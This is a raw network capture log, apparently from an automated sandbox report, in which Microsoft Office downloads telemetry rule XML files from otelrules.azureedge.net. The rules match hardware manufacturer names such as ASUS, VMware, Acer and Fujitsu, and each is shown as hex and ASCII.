2024-11-20 02:21:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022139Z-1777c6cb7549x5qchC1TEBggbg00000008y000000000n9g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:39 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.8	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:39 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:39 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022139Z-1777c6cb7544nvmshC1TEBf7qc00000008v0000000004532 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:39 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.8	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022140Z-185f5d8b95cdtclvhC1NYC4rmc00000009ng00000000s235 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.8	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022140Z-185f5d8b95c4hl5whC1NYCeex000000009cg00000000vdcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:40 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022140Z-185f5d8b95c5lcmhhC1NYCsnsw00000009r0000000006xmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:40 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:40 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022140Z-1777c6cb754j8gqphC1TEB5bf800000008z000000000232f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:40 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.8	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:40 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:40 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022140Z-r1d97b995774n5h6hC1TEBvf84000000084000000000g1wh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:40 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.8	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-1777c6cb754g9zd5hC1TEBfvpw00000008zg00000000qq60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.8	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:40 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-r1d97b995777mdbwhC1TEBezag000000082000000000qf9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.8	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-1777c6cb7544n7p6hC1TEByvb40000000940000000008b7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.8	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-1777c6cb754rz2pghC1TEBghen00000008u000000000g9nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.8	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:41 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022141Z-r1d97b995778dpcthC1TEB4b54000000083000000000chsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.8	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
